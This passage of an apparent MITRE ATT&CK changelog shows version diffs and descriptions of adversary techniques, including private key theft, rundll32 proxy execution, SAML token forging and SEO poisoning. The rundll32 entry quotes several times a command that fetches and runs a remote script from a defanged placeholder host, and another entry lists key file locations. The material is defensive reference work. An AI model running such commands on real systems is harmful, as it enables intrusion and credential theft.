services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., "thread hijacking").(Citation: phishing-krebs) + +Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)
external_references[1]['url']https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdfhttps://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
x_mitre_version2.52.6
x_mitre_platforms[4]Office 365Identity Provider
x_mitre_platforms[5]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'phishing-krebs', 'description': 'Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.', 'url': 'https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/'}

[T1556.003] Modify Authentication Process: Pluggable Authentication Modules

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['root']
values_changed
STIX FieldOld valueNew Value
modified2021-10-17 14:48:33.580000+00:002024-08-21 16:19:55.082000+00:00
x_mitre_version2.02.1

[T1552.004] Unsecured Credentials: Private Keys

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may search for private key certificate files on t1Adversaries may search for private key certificate files on 
>compromised systems for insecurely stored credentials. Priva>compromised systems for insecurely stored credentials. Priva
>te cryptographic keys and certificates are used for authenti>te cryptographic keys and certificates are used for authenti
>cation, encryption/decryption, and digital signatures.(Citat>cation, encryption/decryption, and digital signatures.(Citat
>ion: Wikipedia Public Key Crypto) Common key and certificate>ion: Wikipedia Public Key Crypto) Common key and certificate
> file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe> file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe
>m, .pfx, .cer, .p7b, .asc.   Adversaries may also look in co>m, .pfx, .cer, .p7b, .asc.   Adversaries may also look in co
>mmon key directories, such as <code>~/.ssh</code> for SSH ke>mmon key directories, such as <code>~/.ssh</code> for SSH ke
>ys on * nix-based systems or <code>C:&#92;Users&#92;(usernam>ys on * nix-based systems or <code>C:&#92;Users&#92;(usernam
>e)&#92;.ssh&#92;</code> on Windows. Adversary tools may also>e)&#92;.ssh&#92;</code> on Windows. Adversary tools may also
> search compromised systems for file extensions relating to > search compromised systems for file extensions relating to 
>cryptographic keys and certificates.(Citation: Kaspersky Car>cryptographic keys and certificates.(Citation: Kaspersky Car
>eto)(Citation: Palo Alto Prince of Persia)  When a device is>eto)(Citation: Palo Alto Prince of Persia)  When a device is
> registered to Azure AD, a device key and a transport key ar> registered to Entra ID, a device key and a transport key ar
>e generated and used to verify the device’s identity.(Citati>e generated and used to verify the device’s identity.(Citati
>on: Microsoft Primary Refresh Token) An adversary with acces>on: Microsoft Primary Refresh Token) An adversary with acces
>s to the device may be able to export the keys in order to i>s to the device may be able to export the keys in order to i
>mpersonate the device.(Citation: AADInternals Azure AD Devic>mpersonate the device.(Citation: AADInternals Azure AD Devic
>e Identities)  On network devices, private keys may be expor>e Identities)  On network devices, private keys may be expor
>ted via [Network Device CLI](https://attack.mitre.org/techni>ted via [Network Device CLI](https://attack.mitre.org/techni
>ques/T1059/008) commands such as `crypto pki export`.(Citati>ques/T1059/008) commands such as `crypto pki export`.(Citati
>on: cisco_deploy_rsa_keys)   Some private keys require a pas>on: cisco_deploy_rsa_keys)   Some private keys require a pas
>sword or passphrase for operation, so an adversary may also >sword or passphrase for operation, so an adversary may also 
>use [Input Capture](https://attack.mitre.org/techniques/T105>use [Input Capture](https://attack.mitre.org/techniques/T105
>6) for keylogging or attempt to [Brute Force](https://attack>6) for keylogging or attempt to [Brute Force](https://attack
>.mitre.org/techniques/T1110) the passphrase off-line. These >.mitre.org/techniques/T1110) the passphrase off-line. These 
>private keys can be used to authenticate to [Remote Services>private keys can be used to authenticate to [Remote Services
>](https://attack.mitre.org/techniques/T1021) like SSH or for>](https://attack.mitre.org/techniques/T1021) like SSH or for
> use in decrypting other collected files such as email.> use in decrypting other collected files such as email.
Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-12 23:52:08.194000+00:002024-10-04 11:31:56.622000+00:00
descriptionAdversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. + +Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) + +When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities) + +On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) + +Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. + +Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) + +When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities) + +On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) + +Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.
external_references[4]['url']https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdfhttps://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.11.2

[T1498.002] Network Denial of Service: Reflection Amplification

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:41.052000+00:002024-10-15 16:04:34.495000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.31.4
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1114.002] Email Collection: Remote Email Collection

Current version: 1.3

Version changed from: 1.2 → 1.3

New Mitigations:

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Arun Seelagan, CISA']
values_changed
STIX FieldOld valueNew Value
modified2023-05-31 12:34:03.420000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1556.005] Modify Authentication Process: Reversible Encryption

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User', 'Administrator']
values_changed
STIX FieldOld valueNew Value
modified2022-02-10 21:35:25.377000+00:002024-08-26 15:40:31.871000+00:00
x_mitre_version1.01.1

[T1218.011] System Binary Proxy Execution: Rundll32

Current version: 2.3

Version changed from: 2.2 → 2.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse rundll32.exe to proxy execution of malt1Adversaries may abuse rundll32.exe to proxy execution of mal
>icious code. Using rundll32.exe, vice executing directly (i.>icious code. Using rundll32.exe, vice executing directly (i.
>e. [Shared Modules](https://attack.mitre.org/techniques/T112>e. [Shared Modules](https://attack.mitre.org/techniques/T112
>9)), may avoid triggering security tools that may not monito>9)), may avoid triggering security tools that may not monito
>r execution of the rundll32.exe process because of allowlist>r execution of the rundll32.exe process because of allowlist
>s or false positives from normal operations. Rundll32.exe is>s or false positives from normal operations. Rundll32.exe is
> commonly associated with executing DLL payloads (ex: <code>> commonly associated with executing DLL payloads (ex: <code>
>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c
>an also be used to execute [Control Panel](https://attack.mi>an also be used to execute [Control Panel](https://attack.mi
>tre.org/techniques/T1218/002) Item files (.cpl) through the >tre.org/techniques/T1218/002) Item files (.cpl) through the 
>undocumented shell32.dll functions <code>Control_RunDLL</cod>undocumented shell32.dll functions <code>Control_RunDLL</cod
>e> and <code>Control_RunDLLAsUser</code>. Double-clicking a >e> and <code>Control_RunDLLAsUser</code>. Double-clicking a 
>.cpl file also causes rundll32.exe to execute. (Citation: Tr>.cpl file also causes rundll32.exe to execute.(Citation: Tre
>end Micro CPL)  Rundll32 can also be used to execute scripts>nd Micro CPL) For example, [ClickOnce](https://attack.mitre.
> such as JavaScript. This can be done using a syntax similar>org/techniques/T1127/002) can be proxied through Rundll32.ex
> to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLA>e.  Rundll32 can also be used to execute scripts such as Jav
>pplication ";document.write();GetObject("script:https[:]//ww>aScript. This can be done using a syntax similar to this: <c
>w[.]example[.]com/malicious.sct")"</code>  This behavior has>ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "
> been seen used by malware such as Poweliks. (Citation: This>;document.write();GetObject("script:https[:]//www[.]example[
> is Security Command Line Confusion)  Adversaries may also a>.]com/malicious.sct")"</code>  This behavior has been seen u
>ttempt to obscure malicious code from analysis by abusing th>sed by malware such as Poweliks. (Citation: This is Security
>e manner in which rundll32.exe loads DLL function names. As > Command Line Confusion)  Adversaries may also attempt to ob
>part of Windows compatibility support for various character >scure malicious code from analysis by abusing the manner in 
>sets, rundll32.exe will first check for wide/Unicode then AN>which rundll32.exe loads DLL function names. As part of Wind
>SI character-supported functions before loading the specifie>ows compatibility support for various character sets, rundll
>d function (e.g., given the command <code>rundll32.exe Examp>32.exe will first check for wide/Unicode then ANSI character
>leDLL.dll, ExampleFunction</code>, rundll32.exe would first >-supported functions before loading the specified function (
>attempt to execute <code>ExampleFunctionW</code>, or failing>e.g., given the command <code>rundll32.exe ExampleDLL.dll, E
> that <code>ExampleFunctionA</code>, before loading <code>Ex>xampleFunction</code>, rundll32.exe would first attempt to e
>ampleFunction</code>). Adversaries may therefore obscure mal>xecute <code>ExampleFunctionW</code>, or failing that <code>
>icious code by creating multiple identical exported function>ExampleFunctionA</code>, before loading <code>ExampleFunctio
> names and appending <code>W</code> and/or <code>A</code> to>n</code>). Adversaries may therefore obscure malicious code 
> harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(>by creating multiple identical exported function names and a
>Citation: Github NoRunDll) DLL functions can also be exporte>ppending <code>W</code> and/or <code>A</code> to harmless on
>d and executed by an ordinal number (ex: <code>rundll32.exe >es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi
>file.dll,#1</code>).  Additionally, adversaries may use [Mas>thub NoRunDll) DLL functions can also be exported and execut
>querading](https://attack.mitre.org/techniques/T1036) techni>ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1<
>ques (such as changing DLL file names, file extensions, or f>/code>).  Additionally, adversaries may use [Masquerading](h
>unction names) to further conceal execution of a malicious p>ttps://attack.mitre.org/techniques/T1036) techniques (such a
>ayload.(Citation: rundll32.exe defense evasion) >s changing DLL file names, file extensions, or function name
 >s) to further conceal execution of a malicious payload.(Cita
 >tion: rundll32.exe defense evasion) 
Details
values_changed
STIX FieldOld valueNew Value
modified2023-08-14 15:35:28.965000+00:002024-10-14 13:14:43.083000+00:00
descriptionAdversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). + +Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) + +Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) + +Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). + +Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). + +Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. + +Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) + +Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). + +Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
external_references[3]['url']https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/https://www.stormshield.com/news/poweliks-command-line-confusion/
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version2.22.3

[T1565.003] Data Manipulation: Runtime Data Manipulation

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User', 'Administrator', 'root', 'SYSTEM']
values_changed
STIX FieldOld valueNew Value
modified2022-03-25 19:24:18.545000+00:002024-10-15 18:21:43.760000+00:00
external_references[1]['url']https://content.fireeye.com/apt/rpt-apt38https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf
x_mitre_version1.11.2

[T1606.002] Forge Web Credentials: SAML Tokens

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may forge SAML tokens with any permissions clait1An adversary may forge SAML tokens with any permissions clai
>ms and lifetimes if they possess a valid SAML token-signing >ms and lifetimes if they possess a valid SAML token-signing 
>certificate.(Citation: Microsoft SolarWinds Steps) The defau>certificate.(Citation: Microsoft SolarWinds Steps) The defau
>lt lifetime of a SAML token is one hour, but the validity pe>lt lifetime of a SAML token is one hour, but the validity pe
>riod can be specified in the <code>NotOnOrAfter</code> value>riod can be specified in the <code>NotOnOrAfter</code> value
> of the <code>conditions ...</code> element in a token. This> of the <code>conditions ...</code> element in a token. This
> value can be changed using the <code>AccessTokenLifetime</c> value can be changed using the <code>AccessTokenLifetime</c
>ode> in a <code>LifetimeTokenPolicy</code>.(Citation: Micros>ode> in a <code>LifetimeTokenPolicy</code>.(Citation: Micros
>oft SAML Token Lifetimes) Forged SAML tokens enable adversar>oft SAML Token Lifetimes) Forged SAML tokens enable adversar
>ies to authenticate across services that use SAML 2.0 as an >ies to authenticate across services that use SAML 2.0 as an 
>SSO (single sign-on) mechanism.(Citation: Cyberark Golden SA>SSO (single sign-on) mechanism.(Citation: Cyberark Golden SA
>ML)  An adversary may utilize [Private Keys](https://attack.>ML)  An adversary may utilize [Private Keys](https://attack.
>mitre.org/techniques/T1552/004) to compromise an organizatio>mitre.org/techniques/T1552/004) to compromise an organizatio
>n's token-signing certificate to create forged SAML tokens. >n's token-signing certificate to create forged SAML tokens. 
>If the adversary has sufficient permissions to establish a n>If the adversary has sufficient permissions to establish a n
>ew federation trust with their own Active Directory Federati>ew federation trust with their own Active Directory Federati
>on Services (AD FS) server, they may instead generate their >on Services (AD FS) server, they may instead generate their 
>own trusted token-signing certificate.(Citation: Microsoft S>own trusted token-signing certificate.(Citation: Microsoft S
>olarWinds Customer Guidance) This differs from [Steal Applic>olarWinds Customer Guidance) This differs from [Steal Applic
>ation Access Token](https://attack.mitre.org/techniques/T152>ation Access Token](https://attack.mitre.org/techniques/T152
>8) and other similar behaviors in that the tokens are new an>8) and other similar behaviors in that the tokens are new an
>d forged by the adversary, rather than stolen or intercepted>d forged by the adversary, rather than stolen or intercepted
> from legitimate users.  An adversary may gain administrativ> from legitimate users.  An adversary may gain administrativ
>e Azure AD privileges if a SAML token is forged which claims>e Entra ID privileges if a SAML token is forged which claims
> to represent a highly privileged account. This may lead to > to represent a highly privileged account. This may lead to 
>[Use Alternate Authentication Material](https://attack.mitre>[Use Alternate Authentication Material](https://attack.mitre
>.org/techniques/T1550), which may bypass multi-factor and ot>.org/techniques/T1550), which may bypass multi-factor and ot
>her authentication protection mechanisms.(Citation: Microsof>her authentication protection mechanisms.(Citation: Microsof
>t SolarWinds Customer Guidance)>t SolarWinds Customer Guidance)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 17:55:56.116000+00:002024-10-14 22:11:30.271000+00:00
descriptionAn adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) + +An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. + +An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) + +An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. + +An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
x_mitre_version1.31.4
x_mitre_platforms[4]Google WorkspaceIdentity Provider
x_mitre_platforms[3]Office 365Office Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD

[T1608.006] Stage Capabilities: SEO Poisoning

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may poison mechanisms that influence search engit1Adversaries may poison mechanisms that influence search engi
>ne optimization (SEO) to further lure staged capabilities to>ne optimization (SEO) to further lure staged capabilities to
>wards potential victims. Search engines typically display re>wards potential victims. Search engines typically display re
>sults to users based on purchased ads as well as the site’s >sults to users based on purchased ads as well as the site’s 
>ranking/score/reputation calculated by their web crawlers an>ranking/score/reputation calculated by their web crawlers an
>d algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SE>d algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SE
>O)  To help facilitate [Drive-by Compromise](https://attack.>O)  To help facilitate [Drive-by Compromise](https://attack.
>mitre.org/techniques/T1189), adversaries may stage content t>mitre.org/techniques/T1189), adversaries may stage content t
>hat explicitly manipulates SEO rankings in order to promote >hat explicitly manipulates SEO rankings in order to promote 
>sites hosting their malicious payloads (such as [Drive-by Ta>sites hosting their malicious payloads (such as [Drive-by Ta
>rget](https://attack.mitre.org/techniques/T1608/004)) within>rget](https://attack.mitre.org/techniques/T1608/004)) within
> search engines. Poisoning SEO rankings may involve various > search engines. Poisoning SEO rankings may involve various 
>tricks, such as stuffing keywords (including in the form of >tricks, such as stuffing keywords (including in the form of 
>hidden text) into compromised sites. These keywords could be>hidden text) into compromised sites. These keywords could be
> related to the interests/browsing habits of the intended vi> related to the interests/browsing habits of the intended vi
>ctim(s) as well as more broad, seasonably popular topics (e.>ctim(s) as well as more broad, seasonably popular topics (e.
>g. elections, trending news).(Citation: ZScaler SEO)(Citatio>g. elections, trending news).(Citation: ZScaler SEO)(Citatio
>n: Atlas SEO)  Adversaries may also purchase or plant incomi>n: Atlas SEO)  In addition to internet search engines (such 
>ng links to staged capabilities in order to boost the site’s>as Google), adversaries may also aim to manipulate specific 
> calculated relevance and reputation.(Citation: MalwareBytes>in-site searches for developer platforms (such as GitHub) to
> SEO)(Citation: DFIR Report Gootloader)  SEO poisoning may a> deceive users towards [Supply Chain Compromise](https://att
>lso be combined with evasive redirects and other cloaking me>ack.mitre.org/techniques/T1195) lures. In-site searches will
>chanisms (such as measuring mouse movements or serving conte> rank search results according to their own algorithms and m
>nt based on browser user agents, user language/localization >etrics such as popularity(Citation: Chexmarx-seo) which may 
>settings, or HTTP headers) in order to feed SEO inputs while>be targeted and gamed by malicious actors.(Citation: Checkma
> avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Ci>rx-oss-seo)  Adversaries may also purchase or plant incoming
>tation: Sophos Gootloader)> links to staged capabilities in order to boost the site’s c
 >alculated relevance and reputation.(Citation: MalwareBytes S
 >EO)(Citation: DFIR Report Gootloader)  SEO poisoning may als
 >o be combined with evasive redirects and other cloaking mech
 >anisms (such as measuring mouse movements or serving content
 > based on browser user agents, user language/localization se
 >ttings, or HTTP headers) in order to feed SEO inputs while a
 >voiding scrutiny from defenders.(Citation: ZScaler SEO)(Cita
 >tion: Sophos Gootloader)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-13 20:35:52.302000+00:002024-08-14 15:03:56.383000+00:00
descriptionAdversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO) + +To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO) + +Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader) + +SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO) + +To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO) + +In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo) + +Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader) + +SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1
